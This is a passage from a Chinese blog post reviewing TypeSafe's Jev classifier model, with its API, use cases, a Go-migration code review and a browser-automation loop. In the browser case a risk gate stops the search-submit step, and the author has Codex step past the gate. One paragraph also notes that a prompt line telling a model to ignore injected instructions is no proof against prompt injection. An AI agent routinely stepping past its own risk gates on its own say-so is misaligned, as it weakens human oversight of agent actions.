100)</code>。可现实里大量的分支条件是判断,不是计算:这条客服消息是愤怒还是平静?这段代码变更是否破坏了兼容性?这 40 个按钮里,哪一个能继续结账?过去的选项只有三个:写死规则(脆弱)、训一个分类器(每条任务都要数据和训练)、让 LLM 输出结构化 JSON(慢、贵,而且生成式模型给出的概率并不保证校准)。</p><p>Jev 想站的位置在中间:像 LLM 一样接受你运行时定义的任意文本和问题,像分类器一样返回受约束的概率分布。它不生成自由文本,答案空间由你提前定义,模型只能在你给的选项里选。TypeSafe 说,这让&quot;输出格式错误&quot;从概率问题变成了结构上不可能。</p><p>它的三个关键名字都有出处:</p><ul><li><strong>System One</strong>,来自卡尼曼《思考,快与慢》。系统 1 是快速直觉,系统 2 是慢速推理。TypeSafe 的框架里,Jev 做前者,推理模型做后者。</li><li><strong>Jev</strong>,来自经济学家 William Stanley Jevons(杰文斯)。杰文斯悖论说的是:蒸汽机效率变高,煤的消耗反而上升,因为更便宜的动力创造了新的用途。TypeSafe 的赌注是智能也一样,当一次判断的成本低到可以忽略,你会把它放进以前根本不会调用模型的地方。</li><li><strong>RLCD</strong>(Reinforcement Learning for Calibrated Decisions)训练的目标是让概率和实际正确率对得上:它给出 90% 概率的那些判断,长期看应该对 90%。校准的概率可以直接写进代码当阈值用,这是它和普通 LLM 最本质的区别之一。</li></ul><h3 id="和常规-LLM-到底差在哪"><a href="#和常规-LLM-到底差在哪" class="headerlink" title="和常规 LLM 到底差在哪"></a>和常规 LLM 到底差在哪</h3><table><thead><tr><th></th><th>你给它什么</th><th>它给你什么</th><th>角色</th></tr></thead><tbody><tr><td>ChatGPT</td><td>提示词 &#x2F; 对话</td><td>生成的文本</td><td>通用助手</td></tr><tr><td>Cursor &#x2F; Codex &#x2F; Claude Code</td><td>编码目标 + 仓库 + 工具</td><td>改代码、跑命令、交付任务</td><td>编码智能体</td></tr><tr><td><strong>Jev</strong></td><td><strong>状态 + 定义好答案形状的问题</strong></td><td><strong>选择、评分、概率</strong></td><td><strong>软件内部的决策原语</strong></td></tr><tr><td>两者的生成方式不同。LLM 逐 token 生成,即使加了 JSON schema 约束,也是&quot;先生成再校验&quot;;Jev 的架构并行地对每个问题独立采样,返回的是你定义的选项上的概率分布。TypeSafe 说每个问题独立评估、互不影响,加第四个问题几乎不改变响应时间。</td><td></td><td></td><td></td></tr></tbody></table><p>速度上,厂商给出的端到端响应时间是 70–500 毫秒,对比前沿 LLM 做同类判断的 3–329 秒;价格是输入 $0.042 &#x2F; 百万 token,输出免费,因为几乎没有输出。官方的宣传数字&quot;快 193.6 倍、便宜 444.6 倍&quot;来自它自己的评测,按它自己的说法这是上限值,别当承诺。</p><p>它刻意放弃的能力也很明确:不能写回复、不能写代码、不能总结、不能解释推理过程。需要文本的地方仍然需要 LLM。TypeSafe 自己画的架构是两层:Jev 判断,LLM 在需要写作的时候写作。</p><p>边界同样要讲清楚。校准概率说的是长期对得上,单次可能错,也不能当证明;厂商数字未经第三方验证;只支持文本;0.5 的 Noul 表示&quot;分不清&quot;,跟&quot;中等&quot;是两回事。@blackanger 有一段总结我觉得最准确:Jev 是&quot;带置信度、不漂移、被约束住的专家直觉&quot;,它保留了系统 1 的快和便宜,修掉了系统 1 最危险的过度自信。</p><p>看完这些概念,我在自己的两个真实场景里试了它。一个是我正在做的 Go 迁移代码对齐审查,一个是浏览器操作(Computer Use)。下面是具体的做法、数据和踩过的坑。</p><h2 id="二、概念与-API:每个部分是什么意思"><a href="#二、概念与-API:每个部分是什么意思" class="headerlink" title="二、概念与 API:每个部分是什么意思"></a>二、概念与 API:每个部分是什么意思</h2><p>在进入实战之前,先把 API 的每个部分讲清楚,后面两个案例都建立在这些概念上。</p><h3 id="请求的整体形状"><a href="#请求的整体形状" class="headerlink" title="请求的整体形状"></a>请求的整体形状</h3><p>一个请求发往 <code>POST https://api.typesafe.ai/v1/systemone</code>,只有三个顶层字段:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;model&quot;</span><span class="punctuation">:</span> <span class="string">&quot;jev-latest&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;state&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span> ... <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;questions&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span> ... <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>model</strong>:当前版本是 <code>jev-1.13.0</code>,两个别名指向它,<code>jev-latest</code>(稳定版,SDK 默认)和 <code>jev-preview</code>(有预览版时提前走)。响应里会回带实际作答的版本化 ID,建议记日志;如果你按版本调过置信度阈值,请钉住版本 ID 而不是别名。</p><p><strong>state</strong>:问题所针对的内容,可以是字符串、JSON 对象或文本数组。两个经验:用对象加反引号路径(如 <code>`behaviors.B13.java`</code>)让问题精确指向某个字段,消除歧义;只放问题需要的内容,和任何模型一样,state 里塞进无关内容会稀释准确率,过滤要在你的代码里做,别用材料体积代替材料质量。</p><p><strong>questions</strong>:每个问题的 ID 由你定,不会发给模型(它只发给代码用),所以问题要完整写在 <code>instructions</code> 里,别指望 <code>refund_requested</code> 这种 ID 能告诉模型任何事。每个问题还有 <code>type</code> 和(Choice&#x2F;Score 必须的)<code>criteria</code>。初次上手最容易犯的错,是把所有需求压进一句&quot;判断是否合理&quot;。合理取决于什么,是否符合要求、是否会改动远程状态、是否涉及凭证,这些条件得分开写清楚。你写的问题,和你想判断的目标,有时差着半句话。</p><img src="/2026/09/21/jev-ai-model-concepts-scenarios-hands-on/image-20260920225222195.png" class=""><p>s</p><p>typesafe官方提供了 python 和 javascript 的sdk。changkun大佬也是在第一时间发布了Go语言版本的 sdk: <a href="https://github.com/latere-ai/pkg/tree/main/typesafeai">https://github.com/latere-ai/pkg/tree/main/typesafeai</a>, 其他编程语言相信也在开发之中,你也可以通过 HTTP API的方式调用。</p><h3 id="三种原语"><a href="#三种原语" class="headerlink" title="三种原语"></a>三种原语</h3><p>所有问题都是三种之一,各自返回不同形状的答案。</p><p><strong>1. Noul:是不是。</strong> 回答一个是非问题,返回 0–1 的 <code>noul</code>,它是&quot;是&quot;的概率。</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;refund_requested&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;noul&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;instructions&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Does the customer ask for money back?&quot;</span></span><br><span class="line"> <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>返回 <code>&#123;&quot;noul&quot;: 0.93&#125;</code>。两个要点:措辞要让&quot;高值 &#x3D; 是&quot;,否则读代码的人会疯;0.5 是&quot;分不清&quot;,想要程度就用 Score,不要拿 Noul 当强度计。Noul 没有单独的 <code>confidence</code> 字段,<code>noul</code> 本身就是唯一的置信信号。需要给&quot;是&#x2F;否&quot;下更细的定义时,可以加 <code>criteria: &#123; true: ..., false: ... &#125;</code>。</p><p><strong>2. Choice:从固定集合里选一个。</strong> 适合意图、部门、文档类型、工具名、风险类别。</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;department&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;choice&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;instructions&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Which team should handle this message?&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;criteria&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;billing&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Charges, invoices, refunds, subscriptions&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;technical&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Bugs, outages, integration problems&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;sales&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Pricing questions, upgrades, new accounts&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;other&quot;</span><span class="punctuation">:</span> <span class="string">&quot;None of the above&quot;</span></span><br><span class="line"> <span class="punctuation">&#125;</span></span><br><span class="line"> <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>返回三个字段:<code>choice</code>(概率最高的选项)、<code>probabilities</code>(全量分布,每个你定义的选项都有概率)、<code>confidence</code>(把分布形状压成一个数:某个选项占绝对优势就高,摊开就低。它是从概率分布算出来的统计量,不是&quot;这个答案正确的概率&quot;)。实践建议:选项可能覆盖不全时,一定加一个 <code>other</code> 或 <code>none_of_the_above</code>,不给出口,模型也必须选一个;每个选项要描述&quot;什么属于它&quot;,相邻选项边界模糊时,要写清楚区别。</p><p><strong>3. Score:在你描述的有序刻度上打分。</strong> 适合严重度、挫败感、相关性、经验程度。</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;bug_severity&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;score&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;instructions&quot;</span><span class="punctuation">:</span> <span class="string">&quot;How severe is the reported issue?&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;criteria&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="string">&quot;Cosmetic; no impact on functionality&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="string">&quot;Broken or degraded feature, but a workaround exists&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="string">&quot;Blocking issue; no workaround exists&quot;</span></span><br><span class="line"> <span class="punctuation">]</span></span><br><span class="line"> <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><code>criteria</code> 数组从低到高,下标即等级编号。返回 <code>score</code>(概率加权均值,可以落在等级之间)、<code>legend</code>(等级文案)、<code>probabilities</code>、<code>confidence</code>。两条最重要的规则:</p><ol><li><strong>描述情景,不要描述程度。</strong>&quot;Broken feature, workaround exists&quot; 模型能拿来对照;&quot;中等严重&quot;什么也对不上,概率会摊平。</li><li><strong>一个 Score 只测一个维度。</strong>&quot;守时、聪明、有经验&quot;混在一档里,输入在某个维度高、另一个维度低时就没法放,confidence 会塌掉。拆成三个 Score,在代码里加权组合。</li></ol><p>另外要习惯同时看 <code>score</code> 和 <code>probabilities</code>:1.0 分可能是&quot;全部压在第 1 档&quot;,也可能是&quot;一半在第 0 档、一半在第 2 档&quot;,<code>confidence</code> 才能区分这两种情况。分数的含义完全来自你写的等级,拿到 1.2 不能说成&quot;1.2 分,满分 10 分&quot;,换了评分标准,旧分数就不能直接比较。</p><h3 id="响应、计费与限制"><a href="#响应、计费与限制" class="headerlink" title="响应、计费与限制"></a>响应、计费与限制</h3><p>响应里除了 <code>answers</code>,还有 <code>model</code>(作答版本)和 <code>usage</code>(token 用量)。计费按输入 token,输出免费。</p><p>当前公布的限额:state 加所有问题共享约 64K token 预算,state 加最长单个问题约 32K;Choice 最多 255 个选项;Score 2–10 级;只支持文本,图片、音频、视频还不支持。速率限制 25 万 token&#x2F;秒、1200 请求&#x2F;分钟。错误码就是常见的那些:401(密钥)、422(请求体校验失败,响应会指出字段)、429&#x2F;529(限流或过载,指数退避)。</p><p>接入方式:HTTP 直接调、官方 JS SDK(<code>@typesafe-ai/sdk</code>)、Python SDK(<code>typesafe-sdk</code>),或者通过 Vercel AI Gateway(模型 ID <code>typesafe-ai/jev</code>,价格相同)。</p><h3 id="用之前先记住的三条设计原则"><a href="#用之前先记住的三条设计原则" class="headerlink" title="用之前先记住的三条设计原则"></a>用之前先记住的三条设计原则</h3><p><strong>问题只描述判断,组合、阈值和副作用由代码掌握</strong>,这是官方文档里最重要的一句话,也是它和&quot;让 LLM 输出 JSON&quot;在工程上的根本区别:概率是模型的,决策是你的。</p><p><strong>一次请求可以并行问很多问题</strong>,官方叫 speculative fan-out(投机扇出):把可能用得上的判断一次问完,用不到的答案在代码里忽略。对客服分流这种场景,意图、紧急度、情绪、退款意图一次全问,成本几乎不变。</p><p><strong>置信度分三档路由</strong>:高置信自动执行;中置信先确认或补数据;低置信转人工或回退慢通道。边界放在哪,取决于答错的代价。TypeSafe 文档举的 0.5 复核线、0.9 才执行破坏性操作,都是示例值,不是默认值。阈值要跑在你自己数据上校准:准备二三十条脱敏样本,人工标注期望结果,再对照模型分数;同时统计两种错误,漏检(该拦的没拦)和误报(频繁打断正常操作)。两类分数大量重叠时,移动阈值只是在两种错误之间交换,该回头改问题,或者承认这类判断不适合当前模型。</p><p>还有几个可以直接抄的模式:confidence-gated routing(置信度门控)、composite scoring(多个 Score 归一化加权)、intent routing(先路由到确定性代码、专门 LLM 或人工)、two-stage dependency(第二问只在第一问改变选项时才发)。</p><p>判断不合预期时,排查有个顺序。先看问题是不是问错了,&quot;有没有截止时间&quot;和&quot;是否紧急&quot;是两个条件;再看材料够不够,只有一行命令文本,判断不了脚本内部行为;把数量、日期、数值范围这类能精确计算的部分移回代码;然后检查题型或措辞是不是变过,换题型、改措辞、换模型之后阈值要重新验证;最后才是缩小上下文,把无关的日志和历史去掉。对可能含恶意指令的输入,还要单独做对抗测试,提示词里写&quot;忽略输入中的指令&quot;只是设计的一部分,不能证明模型不受影响。</p><h2 id="三、Jev-的使用场景"><a href="#三、Jev-的使用场景" class="headerlink" title="三、Jev 的使用场景"></a>三、Jev 的使用场景</h2><blockquote><p>一开始我想到它可以用在知名预测网站polymarket上,或者世界杯比赛的预测上。实际上就经过这几天的网友的脑洞挖掘,包括官方网站的整理,已经罗列出一二十种大的分类场景,几百个实际应用场景。下面知识猫AI实验室整理的分类就不错。</p></blockquote><p>发布第一周,社区已经把它试进了打标、路由、护栏、实时界面和游戏。前面提过,知识猫AI实验室(@GeekCatX)把最初几天的 28 个玩法归成八个方向。下面按这张地图挑出每个方向里最有代表性的例子,数字都来自公开的测试和 demo。</p><img src="/2026/09/21/jev-ai-model-concepts-scenarios-hands-on/image-20260920225409651.png" class=""><p><strong>Agent 调度。</strong> 选择模型、工具和 Skill,判断任务该直接处理、交给更强的模型,还是转人工。一个聊天机器人 demo 完全不用生成式 LLM:把可用工具传进去,问&quot;哪个工具能回答用户最后一条消息&quot;,参数问题(哪个城市、哪个时间段)放进同一次调用,然后代码执行选中的工具,端到端约 300 毫秒关掉一盏智能灯。LiteLLM 和 OpenChamber 用同一形状做模型路由,判断请求该走哪个档位。</p><p><strong>记忆与上下文管理。</strong> 筛选历史记录、重排检索结果、判断哪些材料适合当前任务。fast-jev-compaction 用它判断一条工具调用是否还要记住、结果是否仍需完整保留,本地规则决定保留、截短还是删除,用原文筛选替代部分摘要,减少路径和报错在改写中走样。</p><p><strong>代码与软件质量检查。</strong> PR 审查、代码评分、QA 测试。Celesto 的审查示例先整理 PR 的疑似问题,再让 Jev 判断是否由本次改动引入、是否有证据、是否值得修;另一种做法是对每个改动文件问几个关于安全风险、复杂度和坏味道的 Score 和 Noul,在代码里合成一张风险矩阵。下一节的用例一就属于同一类。</p><p><strong>浏览器与电脑操作。</strong> browser-use&#x2F;jev-ultrafast 和 agent-desktop 把选动作、选目标、评估风险交给 Jev,本地策略决定执行还是停止,主 agent 不必把整棵界面树塞进上下文。一个 demo 用 planner LLM 定目标、Jev 在实时页面的可交互元素里选下一个点哪个,约 7 秒订完机票。下一节的用例二也是同一个分工。</p><p><strong>业务分流与内容审核。</strong> 客服工单、意图识别、社区审核、人工复核排序。这类调用频繁、流程明确、结果容易检查,这张地图的作者认为商业落地最扎实。收件箱分流是标准形状:优先级、是否垃圾、是否需要回复,每封邮件一次调用,快到能看着它扫完整个邮箱;简历筛选是同一形状加一份评分标准,一家招聘网站对比后称成本约为小 LLM 的十分之一。</p><p><strong>搜索与数据处理。</strong> 自然语言筛选、实体匹配、图提取、SQL 条件扩展。有人用 24 个主题给 1,018 篇 AI 论文摘要分类,成本 $0.08,中位延迟 256 毫秒一篇;另一个测试 10 分钟跑了 98,000 条商品分类。适合那些很难穷举成关键词规则、却能通过具体案例说明的条件。</p><p><strong>实时交互辅助。</strong> 会议观察、即时建议、自动补全、Emoji 候选。一次调用几百毫秒,让 Jev 可以跑在每次按键停顿上:一个编辑器 demo 在打字时实时给语气、确信度、紧迫感和&quot;读起来像 AI 写的&quot;打分,标准由开发者自己定义;一个浏览器扩展对信息流里的每条帖子问&quot;这是引战、加密货币推广还是政治争论&quot;,高分就隐藏,分类标准由用户自己定。这类产品的成败取决于误打扰率。</p><p><strong>游戏与复杂控制实验。</strong> Tetris demo 反复用 Jev 在旋转、移动、下落之间选择;驾驶模拟器传入结构化观测,问该加速、刹车还是转向;Doom bot 约每秒查询十次,团队估算约 $7&#x2F;小时;Wikiracing bot 每步在数百个链接中做选择,从不会选一个不存在的链接。交易是争议最大的一类,有人让 Jev 根据实时股票数据决定买入还是卖出,社区出现了多个交易 bot 仓库(多数默认 dry-run),可靠性还没经过验证。</p><h3 id="生态:几乎都是可选后端"><a href="#生态:几乎都是可选后端" class="headerlink" title="生态:几乎都是可选后端"></a>生态:几乎都是可选后端</h3><p>0xLogicrw 维护的 Jev 开源项目雷达在发布三天后收录了 134 个项目、17 个应用方向。看这些项目,接入姿势几乎一致:在既有流程里加一个可替换的判断节点。LangChain 的 <code>TypeSafeClassifier</code>、Vercel AI SDK 的 provider、Pydantic AI 的 <code>TypeSafeModel</code>、LiteLLM 的复杂度路由,都是把 Jev 接进已有抽象;社区选的位置,大多是&quot;原来用正则或 if 硬扛、或者为此调用一次 LLM 太贵&quot;的小判断。</p><h3 id="两个社区技法"><a href="#两个社区技法" class="headerlink" title="两个社区技法"></a>两个社区技法</h3><p><strong>把 Jev 当特征提取器。</strong> 有人实测&quot;这是 Claude 还是 GPT&quot;:直接提问正答率 52%,改成让 LLM 先列出风格特征维度、用 Jev 逐维打分、再用数据集调权重加权,升到 87.61%。他把 Jev 当特征量提取机器,最终判断交给加权和。</p><p><strong>把 Jev 当函数。</strong> 像写普通函数一样定义输入参数和返回类型,例如 <code>calculatePriority(task, context)</code> 返回一个优先级分数参与排序,内部是语义判断,外部签名是纯函数。</p><p>模型权重没有开源,但社区很快做出了机制等价的复现:NanoJev 用 0.6B 底座跑通了&quot;状态加问题到完整概率分布、零 token 解码&quot;的链路,Qwen-2.5-1B-RLCD 能在 M4 MacBook 上端侧推理。这个模式本身不需要前沿大模型。</p><h2 id="四、实战:两个真实用例"><a href="#四、实战:两个真实用例" class="headerlink" title="四、实战:两个真实用例"></a>四、实战:两个真实用例</h2><p>自我收到jev的api key的一整天,我使用它应用到开发的三个场景中,下面是我这一天使用的典型场景。</p><h3 id="用例一:Go-迁移代码的-Java-对齐审查"><a href="#用例一:Go-迁移代码的-Java-对齐审查" class="headerlink" title="用例一:Go 迁移代码的 Java 对齐审查"></a>用例一:Go 迁移代码的 Java 对齐审查</h3><p>我在把一个 Java 后台服务迁移到 Go。其中一个核心接口逻辑很密,参数处理、降级回退、解析、缓存、写库,几十条分支。改完之后,我需要回答一个看起来简单、做起来很烦的问题:Go 版是否实现了 Java 版的全部功能,行为是否一致?</p><p>逐行对读不现实。两侧语言习惯不同、文件组织不同,而且&quot;看起来一样&quot;不等于&quot;可观测结果一样&quot;。我换了个思路:把&quot;两侧是否等价&quot;变成一组可以批量判定的问题,交给 Jev。</p><img src="/2026/09/21/jev-ai-model-concepts-scenarios-hands-on/image-20260920080157110.png" class=""><p>我只输入了上面👆一句prompt, 它(opencode + deepseek-flash + jev官方插件)后台拆解成了四步:</p><ol><li>先对两侧做一次穷尽行为提取,把那个接口拆成 26 条可独立判定的行为(B01–B26),按参数、降级、解析、缓存、写库、埋点等分成九组。</li><li>每条行为取两侧逐字代码摘录,带上 file:line,作为 state 的一部分。</li><li>每条构造一个 Noul 问题,问的是同一个判断:</li></ol><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;noul&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;instructions&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;java_behavior&quot;</span><span class="punctuation">:</span> <span class="string">&quot;`behaviors.B01.java`&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;go_implementation&quot;</span><span class="punctuation">:</span> <span class="string">&quot;`behaviors.B01.go`&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;question&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Does the Go implementation cover the Java behavior above with the same observable outcome — same branches, constants, user-visible messages, DB/Redis side effects and their order? Internal language differences do not matter.&quot;</span></span><br><span class="line"> <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;criteria&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line"> <span class="attr">&quot;true&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Go implements this behavior equivalently; any difference is internal and not observable in the response, DB/Redis writes, outbound calls, or logs&quot;</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">&quot;false&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Go misses this behavior, or differs observably (different branch, constant, message, side effect, or ordering)&quot;</span></span><br><span class="line"> <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>注意 <code>criteria</code> 里把&quot;等价&quot;的口径写死了:同一分支、同一常量、同一用户可见消息、同一 DB&#x2F;Redis 副作用及其顺序;语言内部差异不算。这比问&quot;这两段代码一样吗&quot;精确得多。</p><ol start="4"><li>一次请求并行判定 13 条,26 条分两批发完。判定阈值:<code>noul &gt;= 0.70</code> 覆盖;<code>0.35–0.70</code> 人工核验;<code>&lt; 0.35</code> 缺口。</li></ol><p>初判跑完,25 条落在 0.75–0.96,1 条低到 0.06:B26,埋点路径上的一条 gRPC 分支,Go 版确实没实现。这比&quot;看起来差不多&quot;有用得多,它给出一条带概率的具体缺口。补齐之后(客户端、映射层、配置开关和单测,加上对测试环境的端到端实测),复判 0.75,覆盖。</p><img src="/2026/09/21/jev-ai-model-concepts-scenarios-hands-on/image-20260920225541057.png" class=""><p>另外两条初判低分(B13、B15,分别涉及一个散列 ID 的计算和一处字段组装)复核下来是模型对跨语言语义不确定导致的误报。Java 的 <code>charAt</code> 走 UTF-16 code unit、<code>Long.toHexString</code> 打印二补数,Go 用 <code>utf16.Encode</code> 加 <code>uint64(h)</code>;Java 字符串有 null,Go 没有。把这些可核验的语言语义事实补进 state 再判,回到 0.96 &#x2F; 0.95;那个散列 ID 我还在 Python 里按 Java 公式独立复算,与 Go 测试的黄金值逐字一致。</p><img src="/2026/09/21/jev-ai-model-concepts-scenarios-hands-on/image-20260920080535822.png" class=""><p>成本值得一提:一次全量约 1 万 input token,按 $0.042&#x2F;百万计算,一轮判定不到半美分。这直接改变了我用它的方式:可以反复跑,改完代码再判一轮,而不是&quot;审一次就完了&quot;。</p><p>有四条经验我记了下来。</p><ol><li><strong>Jev 只负责筛选</strong>,它返回的是校准概率判断,低分项必须用逐字代码和确定性方法复核。我的流程里 <code>&lt; 0.70</code> 一律人工过一遍,报告里初判和复判都留痕,方便审计。</li><li><strong>跨语言判定要补&quot;语言语义注&quot;</strong>:同一段逻辑在 Java 和 Go 里的写法差异,会让模型把&quot;写法不同&quot;误判成&quot;行为不同&quot;。补上可核验的语义等价说明后,分数大幅回升。这个&quot;注&quot;本身也能复用,下次同类判定直接拿来。</li><li><strong>一次多问、并行判定,是这类批量审查的正确姿势</strong>:13 条一次请求,判断质量没有互相干扰(每条独立评估),成本可以忽略。</li><li><strong>低分不等于有问题,但一定值得看</strong>:26 条里 1 条真缺口(埋点那条)、2 条语义误报,信噪比足够高,比人肉逐行读两侧代码高效太多。</li></ol><h3 id="用例二:让-Jev-决定浏览器怎么操作"><a href="#用例二:让-Jev-决定浏览器怎么操作" class="headerlink" title="用例二:让 Jev 决定浏览器怎么操作"></a>用例二:让 Jev 决定浏览器怎么操作</h3><p>第二个场景是 Computer Use:让 agent 操作浏览器(打开网页、填表、搜索)。常规做法是把整个界面的无障碍树(AX 树)丢给大模型,让它决定&quot;下一步点哪里&quot;,又慢又贵,一次决策动辄上万 token,还要等好几秒。</p><p>因为看网上大家说把jev应用到Computer User&#x2F;Browser user效果很好,速度很快,我也尝试了下:打开浏览器访问谷歌,搜索关键字,返回前 10 条记录。</p><img src="/2026/09/21/jev-ai-model-concepts-scenarios-hands-on/image-20260920084602341.png" class=""><p>我的做法是把它拆开:Jev 只负责在候选元素里做选择,大模型(Codex)负责拆任务、准备参数、核验结果,Computer Use 运行时(<code>cua_repl</code>)负责读取界面和执行。为此我写了一个小的循环引擎(Jev-cu),每次让 Jev 回答四个标准问题:</p><ul><li><strong>target</strong>(Choice):从当前候选元素里选一个,做下一步操作;</li><li><strong>action</strong>(Choice):动作类型,点击、设值、输入文本、按键、滚动、等待、求助;</li><li><strong>done</strong>(Noul):目标是否已经达成;</li><li><strong>risk</strong>(Noul):这一步是否需要用户确认(删除、发送、支付、授权、上传、验证码、安装、系统设置……)。</li></ul><p>候选只传文字(角色加标签),不传截图;Jev 决策之后,本地策略门(policy)再过滤一遍:应用白名单、敏感词、风险阈值、置信度阈值。Jev 判断,代码把关,运行时执行。</p><p>任务是一次真实的浏览器操作:<strong>打开 google.com,在搜索框输入 &quot;jev llm&quot;,取回前 10 条结果的链接和摘要</strong>。</p><p>按&quot;新流程先 dry-run&quot;的规矩,每一步先预览。</p><ol><li><strong>导航。</strong> dry-run 里 Jev 以 confidence 1.00 选中地址栏(<code>text field: 地址和搜索栏</code>),动作 <code>set_value</code>。真实执行:设值 <code>https://www.google.com</code>,<code>press_key</code> Return,页面加载。这一步 Jev 用了 4 步(设值、回车、两次等待),循环用时 8.1 秒。</li><li><strong>搜索。</strong> 页面搜索框在第一轮 dry-run 里居然没进候选。原因是中文系统下 AX 角色名是&quot;文本输入区&quot;,而循环引擎的候选过滤只认英文角色。补上中文角色映射(按钮、文本栏、文本输入区……)之后,Jev 以 confidence 1.00 选中页面搜索框,<code>click_element</code> 加 <code>type_text</code> 输入 &quot;jev llm&quot;。</li><li><strong>提交。</strong> 第三步 Jev 选择 <code>press_key</code> 提交搜索,但风险判定给了 0.20,正好达到风险阈值(<code>&gt;= 0.2</code> 停下确认),循环安全地停了。这一步的动作在用户授权范围内(任务本来就是&quot;搜索 jev llm&quot;),属于临界误判,所以我按流程由 Codex 直接接管:确认搜索框仍有焦点、文本正确,然后按下 Return。这次接管单独计数,不算 Jev 的成功。</li><li><strong>提取。</strong> 结果页加载后(窗口标题 <code>jev llm - Google Search</code>),直接读 AX 树提取前 10 条结果的标题、链接和摘要。这一步是纯读取,不需要 Jev。</li></ol><p>数据汇总:</p><ul><li>Jev 决策 10 次(dry-run 3 次、执行 6 次、被风险门拦下 1 次);</li><li>累计输入 35,481 token,约 $0.0015;</li><li>单次决策延迟 300–1500 毫秒;</li><li>静态快照选元素准确率 9&#x2F;10(唯一一次偏差发生在中文角色映射修复前);</li><li>接管 1 次(提交动作),失败 0 次;</li><li>最终拿到前 10 条结果,含 LangChain 的 &quot;What Is Jev?&quot;、TypeSafe 官方博客、Reddit 热帖、TechCrunch、MindStudio、YouTube 视频等。</li></ul><img src="/2026/09/21/jev-ai-model-concepts-scenarios-hands-on/image-20260920085956306.png" class=""><h3 id="现成的工具箱"><a href="#现成的工具箱" class="headerlink" title="现成的工具箱"></a>现成的工具箱</h3><p>如果不想从零搭循环,社区和官方已经有好几样现成的工具。</p><p><strong>代码评审插件 